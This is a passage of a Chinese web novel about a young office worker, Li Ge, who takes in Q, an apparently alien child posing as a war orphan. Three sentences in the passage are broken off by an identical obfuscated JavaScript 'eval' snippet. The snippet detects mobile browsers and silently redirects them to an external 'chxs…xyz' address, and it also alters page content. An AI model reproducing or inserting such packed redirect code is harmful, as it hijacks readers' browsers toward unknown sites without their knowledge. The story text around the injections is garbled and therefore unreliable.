似乎是怕黎歌丢下他，小孩赶紧别过头“哥哥，哥哥别丢掉我。” 小孩的胳膊软软的却不胖，蓝色的头发贴在黎歌的脸颊上，让他有些痒。温热的小身体紧紧黏住黎歌，黎歌不知道如何是好，只能笨拙地拢住他的腰。 众人又是一阵感慨，“太可怜了这孩子！” “多漂亮可爱的小孩啊，这么小就遭了大罪，X国该死！” “要不是我家已经有两个孩子了，我真想把这孩子带回家养。” 黎歌将一兜子东西交给认识的一家店主，拜托他放在店里一段时间，等晚上回来拿走。 那店主也爽快地答应了，并催促他说：“抓紧把这孩子送到警署去，还有,”他迅速回门店拿了一份饭给黎歌，“拎着给孩子吃，这小脸瘦的怕是饿坏了。” 黎歌连连点头答应，轻轻地对小孩说：“小朋友，走吧，哥哥带你去警署。” 小孩直愣愣地望着他，转身抱紧他的脖子，“哥哥带我去哪我就去哪，我喜欢和哥哥在一起。” 黎歌觉得这孩子太黏他了，对他太亲近了，这是不正常的。但转念一想他刚经历战火被迫流浪，肯定吃了不少苦头，所以把自己看做是感情的依托似乎也是合理的。 而且说实话，他也莫名其妙地很喜欢这个孩子。 二人上了出租车，开车的师傅是个健谈的人，“呦，这是您弟弟吗？长得真可爱，紧紧地抱着您，哥俩感情真好。” 男人脸上洋溢着幸福的笑，“我女儿也愿意这么抱着我，抱着脖子，骑在我脖子上看热闹，小孩子喜欢你就愿意黏着你。” 不知怎么，黎歌听着他的话心里暖和和的，手不自觉地放松下来。 司机看了一眼后视镜，笑着问，“您家孩子几岁了？” 黎歌这才从幻想中抽身，尴尬地笑笑，也问：“小朋友，你几岁了？” 小孩转身坐在黎歌的腿上，依偎在黎歌的怀里轻声说：“我四岁了。” 司机一时间没反应过来俩人是什么关系，怎么做哥哥的还不知道弟弟多少岁呢？还叫自己弟弟小朋友？ “这孩子是您的……” “是我捡来的，要不然怎么去警署呢？”黎歌很平静地陈述事实，但心里有点慌张，错开小孩向他投来的眼神。 司机也觉得尴尬，“哎呦，您不说我还以为这是您弟弟呢！不过这孩子长得是真漂亮，和您长得也有五六分像。漂亮的人长得都是相似的，我们这长得丑的各有各的丑法，哈哈哈哈！” 他用自己打趣儿，也不见扭捏，还是笑哈哈的。 黎歌说：“您说哪里的话，咱们C城的人不论长相，各个都是热心肠的爽快人。” 司机听了这话也舒心，又看了眼孩子，“这打仗真是苦了老百姓，这么大的小孩你瞅瞅，多可怜！我家老头在警署负责收养这一块，说今年收养的政策放的可宽了，只要你健康有钱也想养，孩子也愿意让你养，你就能领养。” 小孩将自己的手缩进黎歌的手掌内，大手正好包住小手，温度在彼此传递。 黎歌的防线塌掉一块，碎掉的砖块变成粉末，随风飘散，随风呼传，让一片土地都有了放弃抵抗的心思。 “听说好些合适的家庭都领养了一个。”司机似乎瞧出那孩子的心思，暗道：这是看上人家了，却不知他愿不愿意收养。缘分嘛，就是这么个事，最讲究你情我愿，天时地利。 “兄弟，你今年多大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050818|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了？” “我二十四。” “二十四哦。”司机没再说话，只是一味地开车。 黎歌盯着小孩子的脸，小孩子也盯着他，褐色的眸子和金色的眼瞳相互辉映，冥冥之中一种不知名的情愫在缓缓生长。 可能是对过去自己的愧疚心疼，也可能是人性中单纯的对弱小的怜悯，黎歌的心蒙上一层电网，一不小心碰上就会酥酥地疼，疼得他分不清自己此行的目的了。 “到了。”车子突然刹车。 黎歌抱着孩子下车了。 他正要往里走，司机却打开副驾驶的窗户，“缘分这东西，本来就是玄而又玄的。尽人事，听天命。” 黎歌回头看了看他微微点头，右胳膊揽住小孩，左手小拇指挂着盒饭快步往警署走。 吹脸的是浓密的热气，热得黏糊糊的。 “您好，请问有什么事？” 黎歌说：“我捡了一个孩子。”他将小孩放在等待的椅子上，“可以让小孩子在这里先吃饭吗？我先说事情的经过。” 接待的警员连连点头，转身到角落猫腰打了一杯热水递给黎歌，“给孩子先喝点热水暖和暖和。” 小孩仰脸看向警员，十分礼貌地说：“谢谢叔叔，谢谢你的热水。”他说的极真诚，小脑袋看上去就毛茸茸的，让人想rua。 警员要被萌的出鼻血，匆忙间紧急唤回自己工作时的严肃态度，“好了先生，请说一说过程吧。” “我经过家旁边的超市时这孩子跑过来抱住我叫我哥哥，起初我以为是小孩子认错人了，结果后来发现不是，我问这孩子的父母在哪里他说自己没有父母。 而且看这孩子的外貌似乎像是混血儿，最近战争也造成了很多流浪儿童，所以我们猜测这个孩子会不会是流浪儿童。还麻烦您查一下他的户籍信息和DNA，看看能不能帮他找到家人。” 警员见缝插针地问：“您家住在哪里？” “令玉区滨海道鼎隆小区。” “好的。” 小孩抬头，“哥哥，叔叔，我吃完了。可以问我话了。” 我的天！好乖！ 警员的童心被重重一击，夹着嗓子问：“小朋友，你告诉叔叔，你叫什么名字呀？” “我叫……叫”Q有些为难，他叫什么名字合适呢？总不能说自己叫Q吧？ 警员循循善诱，“小朋友慢慢想别着急，叔叔等着你。” Q抬起头，“我叫黎游，黎明的黎，游泳的游。” 黎歌有些吃惊，“你也姓黎吗？” “嗯，”小孩子乖乖地点头。 警员好奇地看过来，黎歌解释说：“没什么，因为我也姓黎，我叫黎歌。” 警员：“哦，那还真是缘分呀！”他再次转向Q，“小朋友，那你的爸爸妈妈叫什么名字呀？” Q摇头“我没有爸爸妈妈，我的爸爸妈妈把我扔掉了，是奶奶捡到了我养大我。但是奶奶，现在奶奶……”他开始抽泣，小脸憋得通红，豆大的泪珠一颗颗滚落，晶莹璀璨，更映出他的可怜。 黎歌投降了。 9. 人类词汇——幸福 黎歌手忙脚乱地给他擦眼泪，过多的泪水洇湿了黎歌的袖子，小孩便不哭了，只是抽噎。 不过比起嚎啕大哭宣泄情绪，暗自抽噎显然更令人心疼。 警员也从没见过这么小却这么乖巧的孩子，心里也不是滋味，蹲下来哄他“乖宝贝别哭了啊，别哭了，你奶奶肯定也希望你高高兴兴的是不是？” 小孩子抽抽搭搭的，“是，奶奶…奶奶最…最疼我了。”他的手攥成小拳头抹眼泪，“我是…大孩子，我不哭。” 警员揪着一颗心，给出解决方案：“有八、九成的把我确定这孩子目前是没有亲人了，所以按流程要先把孩子送到福利院待段时间，等到DNA检测结果出来如果确定找不到他的亲属的话就彻底将其交给孤儿院抚养长大。当然了，如果有想要领养的人自然就被领养到新家庭了。” 黎歌知道福利院是个什么地方，他就是在福利机构长大的。那里保障儿童的基本生活需要，孩子们的吃穿确实不愁，但大孩子的欺凌、压迫，工作人员的冷落疏忽，样样都是难捱的。 黎歌抬头问，“今天登记之后到基因检测出结果之前我可以把孩子带回家里先养着吗？” “您要收养这孩子吗？”警员问，他看的出来小孩子很喜欢男人，似乎想要被他收养。 “哥哥，你要收养我吗？”小孩拽住他的手，那热切的、光亮的、直击灵魂的渴望让黎歌的心不住地摇晃。 黎歌定了定神色，“我希望和他相处一段时间，如果到时候还是找不到他的亲人，我会好好考虑是否要收养他的。” 他这话听着就是有戏。 警员很高兴地说：“当然可以，但是需要登记您的信息并且抵押您的身份证件。” “没问题。”黎歌从羽绒服内里掏出卡包，拿出身份证。 “基因检测大概需要七天，到时候我们会打电话通知您结果。”警员接过身份证，然后录入黎歌的信息。Q全程就在一旁静静地等待着，他攥着黎歌的手不肯撒手，似乎是怕自己一撒手到嘴的哥哥就会飞掉。 *** 万千次经过同样车水马龙的街道，不过这次黎歌却不是只身一人。他手里牵着小小的手，迈着小小的步子慢慢走。他丝毫不知何止他们两人，在他们上面还飘着一帮小鬼呢！ 小鬼们见Q很顺利地住进了黎歌的家，既为他高兴又佩服他的本事。 麻花辫高兴地直拍手，“Q真厉害！太厉害了！我的天，他编故事编的和真的一样！” 光脚丫的小姑娘更是震惊，“如果我有Q那么厉害的话，我一定能找到一个也愿意收养我的家长。但是我没有Q那么漂亮，也米有Q那么聪明。我是一个笨的丑小孩。” 麻花辫把下巴搁在她的肩膀上，“你胡说什么？你才不笨呢？你也不丑，你是超级好的小朋友。只比Q差了一点点，一小点点而已。” “小游，你喜欢吃什么？我们去超市买。”黎歌心情很好，略微往上提了提Q的胳膊，笑盈盈道，“喜欢吃什么就和哥哥说，哥哥都给你买。” Q懂事地摇摇头，“哥哥喜欢吃什么我就喜欢吃什么。” Q的孩子神气引起黎歌近乎父爱的反应，他的实指戳戳Q的脸蛋笑道，“好吧，那我们今天先按哥哥喜欢的凑合一顿，明天哥哥带你去超市买你喜欢吃的好不好？”黎歌尾音略略上扬，小钩子一样吊住Q的情绪。 快乐是会感染别人的，Q似乎也品尝到“幸福”的滋味。这样抽象的概念是不能被核心脑完全分解出配方的，但是灵魂却可以。 他躺在黎歌的床上难得的有了睡意——奇利亚斯生命不需要太多的睡眠，只有在感到放松或是身体极度虚弱时才会睡着。 终于，在无边的黑暗快速衍生中Q睡熟了。 【黎歌暴怒道：“我是个普通人，活得很辛苦的普通人。普通学校、普通工作、有着全世界最糟糕的老板和最坏的脾气，我的心早就被磨炼得和铁石一样硬。所以无论你是什么东西、有什么企图、想通过什么手段，都别想着让我收留你。 我劝你最好现在立刻马上告诉我你的来历，否则接下来发生的一切都会让你感到无比痛苦。” 黎歌坐在白捡的孩子对面，用非常严肃且吓人的语气重复道，“无比痛苦！” Q眼睛瞪得大大的，淡金色的眼瞳泛着动人的水波。他吃惊地望着他，也不说话，像个小哑巴。 黎歌没招儿了，吓唬也吓唬了，骂也骂了，总不能在零下的温度里真把这小孩子扔到大街上不管吧？那也太不干人事了！他是穷，但不妨碍有点无伤大雅的泛滥同情心。 “哥哥。”Q突然开口，很恳切地询问：“哥哥，我们能换一种交流方式吗？我不是很习惯用现在这种。” 黎歌一皱眉，这孩子难道是要说英语？但他的英文水平，嗯……怎么说呢，也不能说是太烂，日常交流也是没问题的——“how are you? ---I am fine,thank you. And you ?” 黎歌默默掏出手机打开翻译助手，往桌子上一放再一推，神色自然，“说吧，说哪国语言都行。” Q又不说话了。 半晌，他才再次张嘴解释：“哥哥，我的意思是我们能不能切换成脑电波交流？思维输出成语言是一个降维的过程，我可能会对你的意思产生误解，所以…”他眨眨眼睛，“像这样。” 屋子里很安静，黎歌能听到血液流过的声音，也能听到突然炸开在脑海的信息：{你好呀，我的哥哥！} 他被吓得猛地站起来。 接收到别人用脑电波传来的信息是一件相当相当相当奇妙且不可思议的事情，黎歌能清楚地感知到对方的意思，就好像那些想法是从他脑子里蹦出来的那样清晰。 {别紧张，我不会伤害你的，你看，你的大脑已经肯定这点的正确性了。} 这话黎歌根本没法反驳，在小孩的意识传送过来的那一刻——大脑在经历不到一微秒的害怕后就彻底放松了警惕，甚至开始享受这种奇妙的感觉。 但黎歌仍不停催促自己分泌恐惧因子，毕竟电脑被人黑了就已经相当可怕了，要是脑子被人黑了那干脆就不要活了。 他强装镇定地要求道，“你到底是谁？有什么企图？你赶紧把入侵我大脑的东西退出来！” 那道信息乖乖地消失了，临走的时候似乎还像撸猫一样撸了一下他的脑神经。 那种感觉很难表述，黎歌也不知道自己为什么会有如此荒谬的联想，但事实上当很多想法从脑子里蹦出来的时候你就无法再追溯它是从何而来的了。 “因为波函数可以坍缩。”Q又说，“当你的想法被捕捉到的那一刻，处于叠加状态的思维就坍缩定型了，它的其他状态也会在被观测到的这一刻全部被抹杀，意识完成焦点确定。” “波函数是什么函数？我学过对数函数、指数函数，高级一点的我想想，哎，大学学过…大学不太记得了。”黎歌很努力地想了——但无解。 他有一颗很不用打磨就已经非常光滑的大脑。 Q没有嫌他笨，反而很耐心地解释：“波函数是量子力学中描述微观系统状态的模型。你们平时经常玩的梗——薛定谔的猫，就是通过宏观的猫来形象化展示了微观粒子的量子叠加态和波函数坍缩现象。 不过你不知道这些也很正常啊，这也是我从一个看起来就很聪明很厉害的人脑子里面复制学习到的。” “哦哦”，黎歌忽然想起问题的重点不是什么函数，什么猫不猫的，而是为什么他会被这个不知道什么来历的小孩缠上！ 他再次蹙起眉毛，刨根问底直击本质——“小孩，你是人吗？” “我不是人，但我和你们一样是三维的智慧生物。” “不是人？”黎歌的分贝飙到最高。 Q懵懂地点点头。 “我草我草我草，你真不是人吗？”黎歌一个跃起左手握拳挡在身前，右手抄起桌子上的手机拨号，一边后退一边大喊，“你别过来啊，别过来，小心我报警了找人抓你！” Q见他炸毛了赶紧安慰，“你别害怕，我不会伤害你的，真的不会！” 黎歌这时候哪能听得进去他的话？他按通了110一边往外跑一边慌乱地叙述：“喂您好，我要报警！我家里出现了外星不明生物！他长得和正常人一样，我家在鼎隆小区20号楼三单元502，请你们尽快出警！” 这话黎歌自己说着都觉得荒唐，可如此荒谬的事情却真真实实地发生在他身上。 对面沉默了。 “喂能听到吗？请你们尽快前来！”黎歌的语气更慌了，腿都在打颤。“我知道不能报假警，我的精神也没问题，请你们相信我！” 电话那头终于有声音了，“先生请您不要拿报警开玩笑，这是侵占公共资源！”对方在警告后直截了当地挂断了电话。 与此同时一股巨大的拉力将他猛地拽回了卧室。 “嘭！” 从楼梯间吹进来的风严严实实地带上了卧室的门。 黎歌的血比堆在小区角落的雪还凉。 Q站在他的面前轻笑，甜蜜地商量道，“哥哥别急，我们好好聊聊可以吗？别害怕，我不会伤害你的。” 黎歌内心一万匹马奔腾而过，这是好好聊聊的态度吗？伪人一样标准到极致的笑容激起他全身的鸡皮疙瘩。 但他也知道自己如今是砧板上的鱼肉，所以最好不要继续反抗。 黎歌深吸一口气，强按住即将飙出的心脏，让自己的声音听起来不那么哆嗦，“好，我和你好好聊聊。”经过一阵交流，黎歌又问：“既然你是另一个星球的高级生命，那你为什么到地球来了？” 通过好几个回合的谈话，黎歌可以初步确定对方确实没有恶意。最初来自未知的恐慌逐渐褪色，反正害怕也没用那不如干脆把一切问个明白，这样死了也能做个明白鬼。 秉着生死看淡，不服就干，干不过就死的态度，黎歌第十六次发问：“是不是外星人准备攻打地球了？” 这回换成Q皱眉了，他说：“没有，像地球这种宇宙监狱级别的星球我们还不至于要攻打。” “监狱级别？” “一时半会也说不清，你感兴趣的话等以后我慢慢和你讲。” “哦哦，也好。” 黎歌发现自己的思路又被带跑偏了。 “那个你别打岔，你到底为什么来地球？为什么缠上我？你最好如实回答要不然我给你送……”黎歌想了一圈，哪个地方管外星人呢？想半天他憋出来话，“我给你送到研究中心，小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050819|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们把你切成一片一片地研究！” Q看着他温柔地笑了。 “哥哥，你没必要如此紧张。我是和人类一样的智慧生物，来到地球是意外，而找上你则是受到命运的指引。” 黎歌听得云里雾里的，追问道，“什么叫‘命运的指引’？” “哥哥，你知道这世界上其实根本不存在时间吗？” 黎歌终于可以大胆自信地点头，“这我知道，逛小破站的时候刷到过。” “时间是超出三维的其他维度，而且很大可能上它是折叠的——过去、未来、现在是同时存在的。 当我来到这里、看到你的第一眼，我的意识突然链接到更高的维度，你让我感到熟悉亲切，这也让我坚信你就是我来到地球的目的，未来我们之间会发生许多奇妙的事情。所以我必须待在你身边。 那是一种极其玄妙的命运的推背感，我相信你们之中的有些人也一定感受过。” “我会跟在你身边，你没钱也没关系，我不用你养。我可以把自己变成一个小小的球态睡在任何地方，我也不需要进食，我可以转化太阳能，甚至如果你饿肚子了我也可以割下一部分肢体给你饱腹。养我要比你们人类喜欢养的猫猫狗狗方便实惠多啦！” 黎歌的世界观遭到一万点暴击。 什么叫能转化太阳的能量？什么叫他饿肚子可以吃掉他的肢体？难道自己长得像什么星际变态吗？ 黎歌闭嘴、黎歌沉思、黎歌去拽Q的手。 “还是走吧。” “去哪？” “市级研究院，这个要是权限不够再给你弄个国家级的。私自捡野生动物都犯法，更别说我捡了你这么个”，他左手比划着，“大的、活的、不知道企图的外星物种，我不得把牢底坐穿？在被你弄死和背叛国家之间我还是选择前者。” Q叹气，“哥哥，让你相信我对你、对你的国家甚至对你们星球没有恶意就这么难吗？我只是想待在你身边和你好好相处一段时光而已。” 黎歌目光坚定，“非我族类，其心必异。” 男孩沉默片刻。 下一秒他突然仰起头，一脸担心地看向黎歌并焦急地狂摇他的衣角，声音随着眼泪一起坠落：“哥哥，你怎么又发疯了？是不是病糊涂了？什么外星人不外星人的，我是你的弟弟呀，我是黎游，你不认识我了吗？” 黎歌如遭雷击般怔在原地。 还把外星人送研究局，他估计没走出这个小区就得被人当成精神病强制送进精神病院。 毕竟在一个平平无奇的社畜突然捡到变身成自己弟弟的外星人，和一个长期处于高压状态下且父母早亡的年轻人突然疯了甚至做出报假警、出现幻觉的行为之间，显然后者更容易被接受。 灭顶的无助感瞬间冲垮了恐惧，黎歌忽然感到窝囊且难过。他的眼睛涨得通红，疯狂摇着男孩的身体怒吼道，“我讨厌你！你为什么要来到我身边？我不欢迎你！”】 Q被惊醒，猛地坐起来，脑子里像幻灯片一样重复刚才的梦境。 “这是做梦？”Q不可置信地看着自己的手，他竟然会做梦？奇利亚斯人根本没有做梦这种事情，他们睡着了就和人类陷入黑暗的沉睡一样。 其实人在沉睡的时候根本不知道自己是睡着了还是死掉了。Q猜测当生命的死亡应该就是陷入无尽的沉睡中，一片黑暗，没有知觉，永远不知道自己什么会醒过来也永远不会再醒来。 还有一点令Q很纳闷，这是他的梦境，按理说应该是按照他的视角做梦，可Q怎么看这个梦的第一视角都是黎歌啊？为什么自己会带入另一个人的视角做梦，而且做梦的内容和现实发生的情况并不一样，现实中他没有和哥哥坦白身份。 现在Q一方面是对梦境好奇。另一面Q又不免害怕——他害怕像梦境中那样黎歌知道自己的身份后会认定自己是个祸害，会讨厌他，更害怕自己的存在会伤害黎歌。 外面不知何时下起了小雪，雪花飞扬着、旋转着，迸发出一股清甜的冬天气味。Q的心绪稍稍镇定了些，他不断暗示自己：不会变成梦里那样的，如果判断黎歌还没有喜欢自己到一定程度的时候Q就绝不会暴露任何秘密；即使暴露了，他也绝不会做出任何伤害黎歌的事情。 他会顺风顺水在地地球上体验人类的温馨生活，如果能找回自己的宇宙舱那就更好了，他可以再次回到奇利亚斯（虽然宇宙舱还能被使用的概率不到千分之一）。 “小鬼们都不在，”Q重新躺在床上，电热毯的热气烘着他的后背，Q舒服地眯起眼睛。 因为鬼魂和活人的能量场不同，鬼魂跟在人类身边会对人类产生危害，所以小鬼们坚决不跟着Q一起来黎歌的家。祂们找了不远处的一个废弃仓库，住下了，当作家。 门把手缓慢地旋转，黎歌的眼睛从门缝中探出来。“小游你醒了，来试试哥哥给你买的新衣服。” Q看着黎歌，他的半长发上还夹着两片细小的雪花，身上也带着一股寒气，看样子大概是从外面刚回来。 是特意去给他买衣服吗？ 黎歌将拉绒的棕色连体小熊睡衣掏出来一把塞进床褥下，“捂一捂热乎了再穿，要不然容易感冒。” Q说：“谢谢哥哥，我很喜欢。” 更喜欢人类哥哥。 10. 被迫加班 Q穿好了衣服，宽大的褐色毛绒裹住他，像一块奶豆腐装在了坛子里。 黎歌揉了揉他的脑袋，滑溜溜、软软的，让人想起小猫的颈毛。 Q被突然rua了，便仰头看向黎歌，眼神无声询问：怎么了？ “我做好饭了，下来吃饭吧！” 虽然嘴上说的是让他下来吃饭，但还不等Q下床黎歌就已经把他抱在怀里了，美其名曰：你现在年纪还小身体又不好，还是我抱你方便一点。 Q当然乐得让他抱，乖乖地伏在他的肩头。 在他的肩头能闻到更浓郁的气息，从灵魂深处散发的阳光的温暖气息，Q全身的毛孔都不由自主地打开全力地吮吸。 黎歌把Q放在椅子上，在Q的面前摆着儿童碗和儿童餐具，没有棱角，圆圆的粗粗的，很适合小孩子抓握。 “虾仁粥、鸡蛋羹、笋片炒肉、蒜蓉菠菜”黎歌一样样指给Q看并嘱咐道，“喜欢吃哪个就多吃一点。” Q点点头，按照人类记忆里使用筷子的方式夹了一筷子菠菜，就着虾仁粥吃了满满一大口。 根据人类的礼仪规范：吃得多吃得香是对主人家的认可。黎歌费力给他准备这么多好吃的，他不想让黎歌觉得自己是个挑食的不好养活的孩子。 见Q的腮帮子被食物塞的满满当当的，黎歌又是一阵心酸。这么大的孩子正是不爱吃饭的年纪，得是被饿了多久才会如此狼吞虎咽？ “慢慢吃，都是你的，喜欢吃的话哥哥明天再给你做好不好？”他很温柔地给Q舀了一勺鸡蛋羹，半长的头发扎成一个小啾啾，有几缕溢出来的发丝耷拉在耳后，很有那种贤夫良父的氛围。 Q含混地点头。 黎歌长臂伸到Q的面前，又戳了戳他的脸蛋，“小游你好乖呀。” Q便顺从地贴过去用脸蹭了蹭黎歌的手，他就像一只懵懂的小动物单纯依恋着饲主，仿佛黎歌就是他的全世界。 “好痒啊小游”黎歌想要抽回手，可Q却顺着他后退的方向追上来，没办法黎歌只好乖乖地给他贴。黎歌不禁想到底是谁教小孩子这样贴别人的手背的，怪可爱的。 Q贴够了就松开脸，“谢谢哥哥贴我，我喜欢和哥哥贴贴。”说完Q便抬头观察黎歌的表情。 因为麻花辫她们不在，所以Q不能对人类的种种行为做出及时且恰当的回应，他只好努力把自己学习到的信息往一起拼凑，争取拼凑出正确答案。 幸好黎歌看上去似乎并没有生气，他依旧温柔地笑着，左一筷子右一勺子地给自己夹菜。 其实Q并不知道现在紧张的人不只他一个，黎歌也不太适应这种格外温馨的氛围。 黎歌习惯了做独行侠的日子，面对家里突然多出来的黏人小孩，他也拿不准要用什么语气什么方式和他沟通，便照葫芦画瓢学着育儿博主们的样子说话。 他有心问一问黎游之前的生活，但思及小孩子在警局失声痛哭的表现又不敢张口，便劝自己缓一缓，等到孩子熟悉了再聊。 两个人就这样各怀心思吃完了回家的第一顿饭。 “小游，你玩一会再睡觉，否则食物不消化肚子该疼了知道吗？”黎歌蹲下来耐心地给他解释。 Q问：“哥哥你和我一起睡吗？” 黎歌被问的一愣，他还真没考虑过这个问题。四岁的小孩，能和家长分床睡吗？ 黎歌轻轻拉住Q的小胳膊，“小游想要和哥哥一起睡吗？” Q反问：“哥哥想要和小游一起睡吗？哥哥想那就一起睡，哥哥不想那Q、那小游就自己睡。” 好嘛，这是把选择权又交回自己手里了。 黎歌说：“那小游自己睡大床，哥哥睡沙发可以吗？如果小游晚上害怕的话就叫哥哥，哥哥进去陪你好不好？” Q踮起脚在黎歌的侧脸啵唧亲了一口，然后捣着小碎步回了房间。他进去了，然后又转身回来从门口探出一只脑袋——“哥哥晚安！” 黎歌被逗笑了，也学着他的声音说：“小游晚安！” 人类的晚安相当于星星们上钟的闹铃，当星星累死累活工作了一宿之后太阳又来接班看管天空了。 “喂？黎歌呀，你在C城吗？” 凌晨六点，黎歌还没有彻底清醒，嘴先于脑子做出判断：“在C城，怎么了老板？” “那个策划案啊，陈经理说着急要，今天必须弄出来。陈姐他们俩人手不太够，我寻思你能不能来帮个忙？你没成家，也没孩子，是单身贵族……” 黎歌有点生气，因为他单身又比较宅，所以狗公司老爱临时派活给他。平时接就接了他也不愿意计较，可现在小游还在家呢他怎么能放心把小孩自己放在家里出去工作？ 于是黎歌想也不想就回绝了：“不行啊老板，我家现在就我和小孩子两个人在家，我走了孩子怎么办？您看看再给其他人打打电话问问吧！” “行吧，你家这孩子来的可真巧。”对方句阴阳怪气一句，然后挂断了通话。 黎歌气得直骂：“明明放假前排好了班，人手不够你多排两个啊？现在人家都有安排了，大过节的谁能随叫随到啊？周傻子的智商为负头发也为负，秃脑瓜亮一个！” 也不知道为什么，每次骂完老板之后黎歌都觉得自己会精神很多。他也没了睡意，把手机一丢转身洗漱去了。 不一会，手机铃声再次响起。 黎歌怕吵醒黎游，也来不及擦脸慌慌忙忙地找到手机接通了电话，“喂？” “黎歌啊，是我，你陈姐。我听老板说你来不了了？你看看能不能把孩子放在谁家待一会，你赶过来一下，咱们这实在是弄不完了，你就当帮帮陈姐啊！上次节假日要串班的时候姐是不是二话没说就给你串了，这次实在是……” 黎歌气得肝疼，上次串班那是多久以前的事情了？而且自己给她提供过多少次便利她心里没数吗？ 他敷衍道：“再说吧，我这孩子小实在走不开。”便干脆利落地挂断了电话。 可还不等他退出通话界面，工作软件接连弹出了消息： 【@黎歌，你快来吧，这个大单子咱们必须拿下！】 【你家孩子实在不行请个人先看一天，我给你报销，加班费也给你三倍。】 【看见了回复！】 “我去你大爷！”他没忍住又骂出声。 “哥哥！”一道声音猝不及防地出现在黎歌身后，原来是从卧室钻出了一只小熊。 “小游你怎么这么早就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050820|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒了？是不是哥哥说话吵到你了？对不起哦小游，哥哥给你做饭。” Q摇摇头，他走到黎歌身边说：“我不饿，哥哥去工作吧，我自己在家能行的！” “那怎么行？”黎歌想也不想就拒绝了他的提议。 Q接着说：“那哥哥叫你的朋友来看着我也行，我也想见见哥哥的朋友。” 朋友？ 黎歌一时间真想不到自己有什么亲密的朋友，就像公司那群人知道的那样——他是个时间充裕完全由自己支配的独行侠。 黎歌正发愁，可能是触底反弹他突然想到一个合适的人。 修长的手指把好友列表往下一滑，然后点击了一个小猫照镜子的头像，试探着发了一句：【在吗？】 对方秒回：【我在，哥哥怎么了？】 【小鱼你在C城吗？我有一个忙不知道你能不能帮。】 【当然，你说。】 【来我家一趟，呆一天可以吗？】 【对方正在输入中……】的图标持续了将近半分钟，对方还是没有回话。 黎歌怀疑对面出Bug了。 【？很为难吗？如果不方便的话就算了。】 【没有！方便我很方便！】 【我现在就来！】 黎歌把聊天界面切回工作群，发了一条消息【我八点到。】 他把Q拉到自己面前，满怀愧疚地道歉：“对不起啊小游，哥哥今天实在是不得不去工作，只能让另一个哥哥过来看你一会儿了。但是你放心，哥哥一定在最短最短的时间内做完工作回家陪你，对不起啊小游。” Q不明白黎歌为什么会这样难过，即使自己一个人在家也不会有危险的。更何况他还找了一个信任的人类看着自己，想来想去，Q还是想不明白。 可能人类的大脑无法科学准确地计算未来事件的发生概率，Q勉强得出结论。 “没关系的哥哥，我并不害怕，也不怪你。”Q想了半天憋出来一句，“成年人总有自己的迫不得已。” 此话一出黎歌半是震惊半是好笑，这孩子！也不知道他的上一任抚养者是个什么样的人，能把小游养得如此有趣。 “那好，可是即使小游不生气，哥哥也要给小游做一顿超级大的早餐补偿小游。” 说完黎歌把Q抱到洗漱间，从角落里拉出一张高度合适的小凳子，“以后小游就站在这个凳子上洗漱，这个后面有靠背所以小游就不会掉下去了。 Q好奇地看着黎歌给自己准备的洗漱用具，甜甜地喊：“谢谢哥哥！” 黎歌简直要被他萌化了，“不用谢谢，你先洗漱，哥哥去做饭。” “牙刷，牙膏，牙刷筒，宝宝霜”Q像发现新大陆一样细数着自己新得到的人类用具——在奇利亚斯根本就没有的用具。 煮涮煎炸的声音一齐开花，直到几声清脆的门铃暂时打断了黎歌的忙碌。 可惜黎歌并没有Q离得近，门外客人第一个见到的是陌生的漂亮小孩。 “小朋友，你是谁呀？”那人这样问。 他不认得Q，Q却认得他。就在前几天警署的三楼审讯室里，他穿着白衬衫游刃有余地应对警员的轮番提问。 他叫南瑜！ 11.麻花辫要死了 “小鱼你来了，快进来吧！”黎歌热情地招呼他，随即有些不好意思地说：“真是给你添麻烦了，你吃饭了吗？” 南瑜摇摇头，“还没。” 黎歌赶紧道，“那你和小游一块吃吧！” “小游？”南瑜嘴里叫的是Q但眼睛却盯着黎歌，“这孩子是叫小游？怎么没听你提过，是朋友家的小孩吗？” 黎歌解释道，“不是朋友家的小孩，是我昨天捡回来的小朋友。” “捡回来的？”南瑜这才肯把目光分给Q一点，眯着眼睛似笑非笑道，“难民小孩吗？我看可不太像呢。” Q很心虚，不过由于对人类感情的理解还不达标，所以面上并未显现出慌张的神态。 另一旁，黎歌偷偷戳了下南瑜的胳膊，那意思是让他别再说了，让孩子听见了伤心。 南瑜低头瞥了一眼黎歌放在他身旁的手，转头对Q笑道，“我知错了，为了给小游赔罪一会儿带小游出去玩好不好？” 黎歌把Q抱起来，匀称紧实的胳膊托住他的屁股和腰部，“小游别怕，我和这个哥哥很早、很早、很早以前就认识了，他特别招小孩子喜欢，也喜欢和小朋友玩，他刚刚就是开玩笑逗你的，没有别的意思。小游想出去玩吗？” Q思量一番后点点头。 